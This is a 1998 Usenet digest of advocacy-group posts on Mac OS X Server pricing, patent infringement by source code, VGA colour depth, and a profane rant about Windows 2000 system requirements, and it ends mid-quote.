In <731j16$6r4$1@ash.prod.itd.earthlink.net> Rick Sanford wrote:
[snip Greg et. al. mysterious quotes]
> perhaps a fat pile of green could mean something else...like his previous
> (historical/musical) reference to the sun port, "singin' in the rain".
> hmmm...
>
>
.. 10 points for creativity. Greg followed up with reference to his High
School days and ends with a musical doo wap ditty " Dah dump bump" ...
It read more like MacOS X servers packaged as "System" solutions in larger
lots, to me. Kinda like 1 server with every 50 Xtops. A good marketing
plan for schools that need connectivity, website and student accounts,
etc... It'd make a good Apple Program to reconstitute educational channels
in X technology.
Onesy-twosies will N/A unless you gonna buy 50 desktops and the Enterprise
support to go with it :-(
Better would be if Apple could ' think different' this year and make it a
special MacOS Xmas :-) for old timers. Something special under the
AppleTree for all prior NeXT licensees and Apple developers. A little
certificate towards MacOS X server/client buys, would be Different.
That'd make a good gesture to constitute developer channels in X technology.
The bitter, chastened, cynical and abandoned would only have themselves to
blame for not taking Apple up on such a sweet opportunity.
-r
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combattingLinux...."
Date: Thu, 19 Nov 1998 13:43:08 -0800
Organization: Sierra On-Line, Inc.
Message-ID: <732472$256$1@plo.sierra.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364A072C.9341779B@mohawksoft.com> <Pine.GSO.4.05.9811191310070.14908-100000@sun>
NNTP-Posting-Date: 19 Nov 1998 21:56:50 GMT
Keith McClary 283-7907 wrote in message ...
>
>In article <364A072C.9341779B@mohawksoft.com>,
>Mark Woodward <markw@mohawksoft.com> wrote:
>>
>>Think about it. Linux is an "unhittable" target. As far as I know, there
>>are *no*patented or patentable technologies in the kernel. There is
>>sufficient prior art to make the kernel safe.
>
>If Linux was distributed only in source code who would
>be the target?
Anyone distributing it.
>Can you infringe patents by writing source code and publishing it?
Yes.
>Can I infringe patents by compiling software for my own
>personal non-commercial use?
Yes.
Patents are complete monopolies. You cannot use or recreate in any way what
is patented, without either licensing it or infringing on the patent.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Followup-To: comp.os.ms-windows.video
Date: Thu, 19 Nov 1998 22:26:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7325u4$5se$1@nnrp1.dejanews.com>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <72vhuh$t0v$1@newnews.nl.uu.net> <cirby-1811981900150001@pm60-33.magicnet.net> <pxpst2-1911981016450001@pelli.pathology.pitt.edu> <36545FDF.EF8D6DBD@netscape.com>
[ ...followups set... ]
In article <36545FDF.EF8D6DBD@netscape.com>,
Christopher Pratt <cpratt@netscape.com> wrote:
> Peter wrote:
>> Call me stupid but I will ask this question anyway...
>> Why is VGA limited to 8 bit color and did sVGA change this?
>
> VGA was actually not 8 bit color, but 4 bit color (16 colors).
Not true, I say. :-)
VGA did 320x200x8-bit, pallettized colors, where each byte specified a color
lookup table from 6-bit-per-channel RGB values (giving 256K distinct colors).
> Super VGA was 8 bit color. Pretty lame, eh? VGA cards had 256 K bytes of video
> RAM, and Super VGA cards had 512 K bytes. Both VGA and Super VGA run at
> 640 by 480 resolution.
A 512K SVGA card will do 800x600x8bit, no?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
From: Keith McClary 283-7907 <kmcclary@cuug.ab.ca>
Subject: Re: YIKES! "The effect of patents and copyright in combatting
Linux...."
In-Reply-To: <364A072C.9341779B@mohawksoft.com>
Message-ID: <Pine.GSO.4.05.9811191310070.14908-100000@sun>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364A072C.9341779B@mohawksoft.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Cache-Post-Path: server.cuug.ab.ca!unknown@sun.cuug.ab.ca
Date: Thu, 19 Nov 1998 13:15:51 -0700
NNTP-Posting-Date: Thu, 19 Nov 1998 13:18:34 MDT
Organization: Shaw Fiberlink Ltd. (Calgary)
In article <364A072C.9341779B@mohawksoft.com>,
Mark Woodward <markw@mohawksoft.com> wrote:
>
>--------------2404988658A8BDE1E2A944EB
>Content-Type: text/plain; charset=us-ascii
>Content-Transfer-Encoding: 7bit
>
>Think about it. Linux is an "unhittable" target. As far as I know, there
>are *no*patented or patentable technologies in the kernel. There is
>sufficient prior art to make the kernel safe.
>
If Linux was distributed only in source code who would
be the target?
Can you infringe patents by writing source code and publishing it?
Can I infringe patents by compiling software for my own
personal non-commercial use?
-------------------------------------
Keith McClary kmcclary@cuug.ab.ca
From: Stephen Edwards <ja207030@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: ATTN: Now _THIS_ really is ludicrous!...
Date: 19 Nov 1998 23:29:52 GMT
Organization: Anamorphic 3-D Graphics Inc.
Message-ID: <7329lg$ot0$1@nnrp02.primenet.com>
[cross-posted, because I simply cannot believe what I am seeing, and I
want to make sure I'm not just insane, or something]
<RANT mode=wide-eyed stateofmind=rabid>
First of all, Microsoft claimed that the products
Windows95
Windows98
WindowsNT Workstation
WindowsNT Server
were too confusing for the average user to discriminate from. So using
the names
Windows2000 Professional
Windows2000 Server
Windows2000 Advanced Server
Windows2000 Datacenter Server
is supposed to make things any easier?... If anything, they are even
MORE confusing!
Secondly...
According to information at http://www.ntfaq.com, these are the new
minimum requirements for installing Windows2000 Professional, Windows
2000 Server, Windows2000 Advanced Server, and Windows2000 Datacenter
Server:
-- VGA or better display (duh!).
Okay, sounds reasonable...
-- At least a Pentium CPU that runs at 166MHz, or higher.
What?... You're joking, right?...
-- A minimum of 300MB of disk space (400MB minimum for Win2000 Server).
NOTE: Disk space requirements are dependent upon what features are
used (NTFS vs. FAT, network install vs. a local install, etc).
Uhm... is there a camera somewhere... am I on T.V.?...
-- A minimum of 32MB of RAM (64MB minimum for Windows 2000 Server).
You have _GOT_ to be fucking kidding me!@#
What. In. The. Hell. Are. They. Thinking?!@#
I know that Microsoft software has never been considered "streamlined",
"refined", or "flexible". However, I have always maintained the stance
that it was not unreasonable to require a minimum of 16MB of RAM to
install and run a piece of software, such as WindowsNT v4.0. Nor was it
unreasonable to require 150MB of disk space for a minimum installation.
Nor was it unreasonable that requiring at least 64MB for quick, responsive
operation in a GUI enviroment was necessary.
I have also always maintained the stance that Microsoft does the things
that it does to its software for a _reason_. Things like the
implementation of the registry, moving the GDI into kernel mode, using
pagefiles, etc. come to mind.
_AND_ I might add, that I have always felt WindowsNT was a valid choice
for an operating system for anything except for running large networks,
and I have found myself defending Microsoft software based on the merit
that I felt it had.
But this is just plain abso-fucking-lutely _LUDICROUS!@#_ I cannot
beleive that even _Microsoft_ can sit back, and look at these
requirements, and say "well, looks good to me". I am flabbergasted!@# I
have just placed 128MB in my main machine at home... so they're telling me
that I'm going to have to eat up 25-50% of that RAM just to install and
boot the fucking thing?!@# Uh, I don't think so, boys!@# From this
moment forth, I have nothing good to say about Microsoft. I have defended
WindowsNT when I felt it was proper to do so, and I have used it quite
happily for some time. But if this is what I have to look forward too,
I'll be more than happy to dump the Windows line for good. I don't care
if Windows has the best graphics drivers for my 3-D applications... I
don't care if Windows is the best candidate for a standard media OS... I
don't care if Windows has the most application support out there... if
these requirements are going to be the standard requirements for all of
Microsoft's future up-and-coming products, then I will be quite proud to
call myself an ex-Windows user.
I mean _COME ON_ Microserfs[0]!@# Can you all really sit there, look at
these requirements, and not think to yourself "hey, you know, this code is
getting pretty bloated... there must be a better way to do this..."?!@#
Doesn't it make you feel just a little silly to say "Windows2000 server
will require 64MB to install and run" with a straight face?!@# That's
like saying "I'll need about 30 gallons of gasoline to get 60 miles
further down the road"!@# _GOOD GOD_ I am bewildered here, folks!@#
Whether or not the Windows2000 line will run nicely in its required
environment makes absolutely no difference to me whatsoever. Even if
Windows 2000 Server runs flawlessly in 64MB of RAM, I will still not
hesitate for a second to call it a Fucking Piece Of Shit(tm). If these
requirements are really, truly what is needed to run these products, then
I think I have been far too accepting, and everyone who has been screaming
about "the morons in Redmond" have been right all along, and I was just a
naive fool. And here I was complaining about the direction that Linux was
moving in...
Now I know for a _fact_, that I am moving to the NetBSD camp, and I'm sure
I'll be taking a canteen fulla Linux with me.
When I leave here, I am going to go home, back up my projects, wipe the
Microsoft infestation off of my HDs, and install NetBSD.
</RANT>
[0] Not an insult... std. term referring to Microsoft's in-house coders.
--
.-----.
|[_] :| Stephen S. Edwards II | http://www.primenet.com/~rakmount
| = :| Support the shareware authors... register your software!
| | Please send all flames, trolls, and complaints to /dev/toilet.
|_..._| LUSER: I have a problem. ADMIN: Keep talking... I'm reloading.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Fri, 20 Nov 1998 00:12:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <732c5r$bim$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com>
rr6013@yahoo.com (Rex Riley) wrote:
> It read more like MacOS X servers packaged as "System" solutions in larger
> lots, to me. Kinda like 1 server with every 50 Xtops. ...
> Onesy-twosies will N/A unless you gonna buy 50 desktops and the Enterprise
> support to go with it :-(
This would be a terrible idea.
> Better would be if Apple could ' think different' this year and make it a
> special MacOS Xmas :-) for old timers. Something special under the
> AppleTree for all prior NeXT licensees and Apple developers. A little
> certificate towards MacOS X server/client buys, would be Different.
> That'd make a good gesture to constitute developer channels in X technology.
The best favor they could possibly do to developers is to sell OSX Server at
a price that is accessible to any would-be user. Since every single user who
buys OS X Server is guaranteed to need to buy new apps (since there are no
legacy apps at all) that would guarantee a ready market for developers who
already have yellow-box apps. The more the users, the greater that instant
market. Limiting low prices to former NeXTers would certainly not create much
of a market.
Stupid stunts like over-pricing OS X Server would be a severe kick in the
b***s of yellow-box developers, and I do hope that Greg's pessimism is
unfounded.
A reasonable price would also create a nice pool of de facto OS X Consumer
beta testers. A high price would not, which means the possibilities of Apple
ending up with egg on their faces when OS X consumer eventually ships would
be that much greater.
What would constitute a reasonable price for OSX server? The MAXIMUM is
whatever MS is currently charging for NT Workstation. Ideally, it would be a
lot less. Ideally, it would be the same as OS8.5 (exclusive of the developer
tools). I wouldn't mind some premium over the OS8.5 price, but anything over
twice the OS8.5 price would cause serious pause before plunking money down.
By all means sell versions packaged with WOF or with other high-end
applications or hardware to target markets. As long as there is also a
reasonably-priced end-user version.
Let's hope that Apple has learned something from its past over-pricing
mistakes... I wouldn't want to have to change my .sig, after all. Actually, I
WOULD like to change it, to read "CURRENT MacOS X Server user"!
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Allan Meidlein" <allan.meidlein@bcstechnology.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <7329lg$ot0$1@nnrp02.primenet.com>
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Message-ID: <ee352.3248$%X5.8067515@newsgate.direct.ca>
Date: Thu, 19 Nov 1998 17:03:19 -0800
NNTP-Posting-Date: Thu, 19 Nov 1998 17:04:10 PDT
Organization: Canada Internet Direct, Inc.
Maybe you should realise that these requirements aren't that crazy; consider
for a moment that SCO UnixWare7 and Sun Solaris7 require a minimum of a
Pentium CPU, 32 Mb, and 0.5 - 1 Gb of disk space. And these are the BARE
minimum; using the CDE ( Common Desktop Environment ) with 32 Mb is
agonising If you're suggesting that these requirements are the result of
"bloated code," then how does one explain the requirements for Unix
servers?? Deal with it; the days of 16 Mb and Pentiums were over long ago.
From: Stephen Edwards <ja207030@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 20 Nov 1998 01:54:35 GMT
Organization: Anamorphic 3-D Graphics Inc.
Message-ID: <732i4r$r9n$1@nnrp03.primenet.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca>
Allan Meidlein <allan.meidlein@bcstechnology.com> wrote:
: Maybe you should realise that these requirements aren't that crazy; consider
: for a moment that SCO UnixWare7 and Sun Solaris7 require a minimum of a
: Pentium CPU, 32 Mb, and 0.5 - 1 Gb of disk space. And these are the BARE
: minimum; using the CDE ( Common Desktop Environment ) with 32 Mb is
: agonising If you're suggesting that these requirements are the result of
: "bloated code," then how does one explain the requirements for Unix
: servers?? Deal with it; the days of 16 Mb and Pentiums were over long ago.
Well, assuming what you state is true, perhaps I have jumped the gun.
However, it just seems insane for an OS to have such hefty hardware
requirements... it's difficult for me to see exactly _why_ needing 64MB of
RAM to use a server makes sense. If I am just being highly irrational
here, please tell me so.
[] Footnote server is currently down...
--
.-----.
|[_] :| Stephen S. Edwards II | http://www.primenet.com/~rakmount
| = :| Support the shareware authors... register your software!
| | Please send all flames, trolls, and complaints to /dev/toilet.
|_..._| LUSER: I have a problem. ADMIN: Keep talking... I'm reloading.
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 20 Nov 1998 01:57:43 GMT
Message-ID: <slrn759j4l.n3m.float@interport.net>
References: <7329lg$ot0$1@nnrp02.primenet.com>
NNTP-Posting-Date: 20 Nov 1998 01:57:43 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On 19 Nov 1998 23:29:52 GMT, Stephen Edwards <ja207030@primenet.com> wrote:
[*snip*]
>
>I
>have just placed 128MB in my main machine at home... so they're telling me
>that I'm going to have to eat up 25-50% of that RAM just to install and
>boot the fucking thing?!@#
Presumably, they expect you to run applications. They may just be saying
that most things will be easier with that much RAM, not that that much is
required to boot.
You're thinking like a technical person here, but they're marketing to
morons.
>I mean _COME ON_ Microserfs[0]!@# Can you all really sit there, look at
>these requirements, and not think to yourself "hey, you know, this code is
>getting pretty bloated... there must be a better way to do this..."?!@#
What would it matter if Microsoft programmers felt that way? I know a guy
who works in Research there, he's no dope. But refactoring bloated, buggy
code is not trivial -- just look at Netscape. I hear the Mozilla people
are redesigning it from the ground up. Anyway, without serious support
from management at Microsoft, why would anyone undertake the difficult,
politically sensitive, unglamorous work of restructuring code?
>Now I know for a _fact_, that I am moving to the NetBSD camp, and I'm sure
>I'll be taking a canteen fulla Linux with me.
Modulo my comments, I agree with your post. I'm a big fan of FreeBSD
myself, and there's not a byte of Microsoft software on any hard drive I
own (at least, not intentionally; who knows what lurks in the heart of
NeXTStep?).
--
Ben
"You have your mind on computers, it seems."
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Followup-To: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Date: 20 Nov 1998 02:07:34 GMT
Organization: University of Maryland, College Park
Message-ID: <732it6$rn1$5@hecate.umd.edu>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <72vhuh$t0v$1@newnews.nl.uu.net> <cirby-1811981900150001@pm60-33.magicnet.net> <pxpst2-1911981016450001@pelli.pathology.pitt.edu>
Peter (pxpst2@unixs.cis.pitt.edu) wrote:
: In article <cirby-1811981900150001@pm60-33.magicnet.net>,
: cirby@magicnet.net (Chad Irby) wrote:
: > > I never understood why people put up with 8-bit color :-(
: >
: > "Because VGA is the standard!"
: Call me stupid but I will ask this question anyway...
: Why is VGA limited to 8 bit color and did sVGA change this?
VGA was first released in 1987, IIRC. Let's do some math....
640 X 480 = 307,200 pixels.
8 bit color = 8 bits = 1 byte per pixel.
You would need ~ 300 KB of memory for 8 bit color at 640 X 480, so
in MCGA mode, you get 256 colors at 320 X 200, and only 16 colors
at 640 X 480, because they typical VGA card at the time only had 256KB
of memory. The 512K cards could display 256 colors at 640 X 480, but
there weren't many applications that could take advantage of that many
colors at that resolution.
In 1988 1 Meg of memory cost between $300 and $350, so 256KB different
cost ~ $80 in difference. 24 bit cards for the Mac did start to appear
shortly, but they cost ~$1K.
So the answer is, people "put up" with 2bit color, 4 bit color, and
8 bit color because it was expesive for anything else.
: Thanks in advance
: Peter
: --
: "don't you eat that yellow snow
: Watch out where the huskies go"
: FZ
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Kyoto, Japan.
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 20 Nov 1998 02:14:13 GMT
Message-ID: <slrn759k3h.n3m.float@interport.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com>
NNTP-Posting-Date: 20 Nov 1998 02:14:13 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On 20 Nov 1998 01:54:35 GMT, Stephen Edwards <ja207030@primenet.com> wrote:
>Allan Meidlein <allan.meidlein@bcstechnology.com> wrote:
>
>: Maybe you should realise that these requirements aren't that crazy; consider
>: for a moment that SCO UnixWare7 and Sun Solaris7 require a minimum of a
>: Pentium CPU, 32 Mb, and 0.5 - 1 Gb of disk space. And these are the BARE
>: minimum; using the CDE ( Common Desktop Environment ) with 32 Mb is
>: agonising.
[*snip*]
>Well, assuming what you state is true, perhaps I have jumped the gun.
[*snip*]
If you're using the CDE, it's no longer a server. Depending what you're
serving, there's no reason 16 MB couldn't be sufficient for a unix
machine.
I think there are two reasons Microsoft's numbers are high:
1) Their software is bloated.
2) It's part of their one-size-fits-all marketing philosophy.
--
Ben
"You have your mind on computers, it seems."
From: CRonTaB <crontab@unlimitnet.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Thu, 19 Nov 1998 21:30:20 -0600
Organization: Cheesy Poofs, Inc.
Distribution: inet
Message-ID: <3654E24C.4D6C065A@unlimitnet.com>
References: <7329lg$ot0$1@nnrp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
They have probably added over 2000 new easter eggs for everyones
enjoyment into the source.
--
Mr. Hat [crontab@unlimitnet.com]
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2pBvA.9xI@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <adtF2n1wL.Do6@netcom.com> <72vii4$1fas$1@nntp6.u.washington.edu> <adtF2nLHo.685@netcom.com> <731el0$1c4a$1@nntp6.u.washington.edu>
Date: Fri, 20 Nov 1998 03:47:33 GMT
Sender: adt@netcom16.netcom.com
R. Tang (gwangung@u.washington.edu) wrote:
: Anthony D. Tribelli <adt@netcom.com> wrote:
: >Fact, a Mac binary will not run on a PC even if the product targets both
: >platforms.
:
: Irrelevant.
:
: A VHS tape will not run on a Beta machine. They sure as hell
: target the same market.
No, they are merely parallel and similar. From my dictionary:
market: The business of buying and selling a specified commodity.
As you indicate above, VHS and beta tapes are incompatible, they are
different commodities, as is MacOS and PC software.
: >Really, what x86 OS are they running on a PowerPC motherboard? IMHO, Umax
: >moved to a new market.
:
: IMAO, you're dead wrong. They're targeting the same consumers,
: with a different product. Same market.
A MacOS based consumer can't use that different product, it's a different
commodity.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 20 Nov 1998 04:23:27 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <732qrv$ae5@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
On Fri, 20 Nov 1998 00:12:57 GMT, spagiola@my-dejanews.com
<spagiola@my-dejanews.com> wrote:
>Stupid stunts like over-pricing OS X Server would be a severe kick in the
>b***s of yellow-box developers, and I do hope that Greg's pessimism is
>unfounded.
I would be shocked if the price was under $500. The term "server" was
added for a reason; I very much doubt that Apple thinks that OSXS will
sell in large numbers.
>A reasonable price would also create a nice pool of de facto OS X Consumer
>beta testers. A high price would not, which means the possibilities of Apple
>ending up with egg on their faces when OS X consumer eventually ships would
>be that much greater.
I think the coolest thing they can do is ship it on all the new machines they
sell. Set up a dual-boot and let users decide which OS to keep. Perhaps it
would sell more Macs? Maybe a free copy of OSX would be enough to get a bunch
of those 040 and Nubus PPC Mac users to upgrade?
>What would constitute a reasonable price for OSX server? The MAXIMUM is
>whatever MS is currently charging for NT Workstation. Ideally, it would be a
>lot less.
And if it did, would Apple be able to support it? Has Apple been building
up its support staff? Set up a facility for dealing with OSX customer
service?
This is one of those odd situations where success could be the reason for
failure. I think the most viable plan would be to sell as many as they can
support, and then try and support as many as they can sell. Building up
an infrastructure to resell and support the OSX isn't going to happen
over night.
>Ideally, it would be the same as OS8.5 (exclusive of the developer
>tools).
Since it comes with MacOS as well, I think it makes sense to charge a
bit more for it.
Message-ID: <3654F20A.DE49DEB8@uco-iplaw.com>
From: John Kheit <jkheit@uco-iplaw.com>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <71u48m$dop$3@news.xmission.com>
<slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
<3646A021.162FC622@ix.netcom.com>
<qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
<3647E15E.7A2232BA@ix.netcom.com>
<qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
<36493AF7.BDFE3CAA@ix.netcom.com> <364b1f14.1124576@news.demon.co.uk>
<KAi$REAcsAT2EAIj@wolff.co.uk> <364C3479.5C1BFBB5@cadence.com>
<oFPnADAoPFT2EA9z@wolff.co.uk> <36598246.6204950@news.demon.co.uk>
<m2yapc5118.fsf@barnowl.demon.co.uk> <bh$rJLA2+BU2EAgc@wolff.co.uk>
<3651AAC1.B9AF1766@cadence.com> <ypmhbBAQVpU2EAFd@wolff.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Thu, 19 Nov 1998 23:37:31 -0500
NNTP-Posting-Date: Thu, 19 Nov 1998 23:33:54 EDT
Organization: Northeast Region--MediaOne
Paul Wolff wrote:
> Which is why most countries allow their Patent Offices to hear third
> parties' views before a patent is finally granted, or more usually
> within a limited time (often 9 months - I don't know the significance of
> that choice of time frame!) after grant, and - most importantly - to
> allow the third party a say in the argument with the applicant, the
> ability to adduce evidence and to be heard in a final determinative
> hearing (and any appeal). The procedure is far less expensive than
> court proceedings, within a simple framework, administered by a
> specialised department of the Patent Office, and judged by senior and
> experienced examiners. It is usually called Opposition.
In the US we have mechanisms to challenge the validity of a patent in rather
cheap ways. I like the presumption of validity as a means of publishing things
for everyone to see. If the patent is worth fighting over, one can send
torpedos in rather easy and cheap ways. Filing art with the office or starting
a reexamination are a couple of relatively cheap ways to do some damage.
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Thu, 19 Nov 1998 23:52:46 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <732sko$a4e@shelob.afs.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
Sal Denaro wrote in message <732qrv$ae5@news1.panix.com>...
>On Fri, 20 Nov 1998 00:12:57 GMT, spagiola@my-dejanews.com wrote:
>>Stupid stunts like over-pricing OS X Server would be a severe kick in the
>>b***s of yellow-box developers, and I do hope that Greg's pessimism is
>>unfounded.
Barring a miracle, the die is cast: Snake-eyes and boxcars. Curiously, I
can't even bring myself to get angry about it anymore.
>I would be shocked if the price was under $500. The term "server" was
>added for a reason; I very much doubt that Apple thinks that OSXS will
>sell in large numbers.
I very much doubt that Apple *wants* OSXS to sell in large numbers.
Considering the "success" of the infamous NeXT Sales Prevention Team, they
should have plenty of experience to draw from in this area.
Greg
From: matta@monkey.borg.org (Matthew Alton)
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <7329lg$ot0$1@nnrp02.primenet.com>
Message-ID: <6H652.5318$8G5.1759@news.cwix.com>
Date: Fri, 20 Nov 1998 04:59:46 GMT
NNTP-Posting-Date: Fri, 20 Nov 1998 04:59:46 GMT
Organization: CWIX
Welcome aboard!
Stephen Edwards (ja207030@primenet.com) wrote:
: [cross-posted, because I simply cannot believe what I am seeing, and I
: want to make sure I'm not just insane, or something]
: <RANT mode=wide-eyed stateofmind=rabid>
: First of all, Microsoft claimed that the products
: Windows95
: Windows98
: WindowsNT Workstation
: WindowsNT Server
: were too confusing for the average user to discriminate from. So using
: the names
: Windows2000 Professional
: Windows2000 Server
: Windows2000 Advanced Server
: Windows2000 Datacenter Server
: is supposed to make things any easier?... If anything, they are even
: MORE confusing!
: Secondly...
: According to information at http://www.ntfaq.com, these are the new
: minimum requirements for installing Windows2000 Professional, Windows
: 2000 Server, Windows2000 Advanced Server, and Windows2000 Datacenter
: Server:
: -- VGA or better display (duh!).
: Okay, sounds reasonable...
: -- At least a Pentium CPU that runs at 166MHz, or higher.
: What?... You're joking, right?...
: -- A minimum of 300MB of disk space (400MB minimum for Win2000 Server).
: NOTE: Disk space requirements are dependent upon what features are
: used (NTFS vs. FAT, network install vs. a local install, etc).
: Uhm... is there a camera somewhere... am I on T.V.?...
: -- A minimum of 32MB of RAM (64MB minimum for Windows 2000 Server).
: You have _GOT_ to be fucking kidding me!@#
: What. In. The. Hell. Are. They. Thinking?!@#
: I know that Microsoft software has never been considered "streamlined",
: "refined", or "flexible". However, I have always maintained the stance
: that it was not unreasonable to require a minimum of 16MB of RAM to
: install and run a piece of software, such as WindowsNT v4.0. Nor was it
: unreasonable to require 150MB of disk space for a minimum installation.
: Nor was it unreasonable that requiring at least 64MB for quick, responsive
: operation in a GUI enviroment was necessary.
: I have also always maintained the stance that Microsoft does the things
: that it does to its software for a _reason_. Things like the
: implementation of the registry, moving the GDI into kernel mode, using
: pagefiles, etc. come to mind.
: _AND_ I might add, that I have always felt WindowsNT was a valid choice
: for an operating system for anything except for running large networks,
: and I have found myself defending Microsoft software based on the merit
: that I felt it had.
: But this is just plain abso-fucking-lutely _LUDICROUS!@#_ I cannot
: beleive that even _Microsoft_ can sit back, and look at these
: requirements, and say "well, looks good to me". I am flabbergasted!@# I
